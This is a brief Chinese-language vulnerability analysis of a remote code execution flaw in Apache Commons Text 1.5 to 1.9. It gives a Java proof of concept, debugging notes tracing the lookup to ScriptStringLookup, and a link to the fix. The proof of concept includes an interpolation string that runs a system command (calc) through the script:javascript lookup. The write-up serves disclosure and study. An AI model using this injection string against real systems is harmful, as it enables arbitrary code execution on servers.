0x00 影响范围
在Apache Commons Text 1.5 ~1.9 版本中,攻击者可构造恶意文本,使得Apache Commons Text 在解析时执行任意代码,控制服务器。
0x01 POC
pom.xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
poc.java
import org.apache.commons.text.StringSubstitutor;
public class A {
public static void main(String[] args) {
StringSubstitutor stringSubstitutor = StringSubstitutor.createInterpolator();
String str1 = "${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\");}";
String str="PoC Output: ${script:javascript:195 + 324}";
String output = stringSubstitutor.replace(str);
System.out.println(output);
}
}
0x02 调试
点一下左侧的箭头,先查看下接口,有很多
在上一步调试跟进看看进了哪个实现类
==》ScriptStringLookup
到这里就差不多了,如果感兴趣 eval 的实现,可以继续调试:
查找属性 “javax.script.filename” 如果没有此属性,返回 <eval> 标签:
......
0x03 修复
https://github.com/apache/commons-text/commit/b9b40b903e2d1f9935039803c9852439576780ea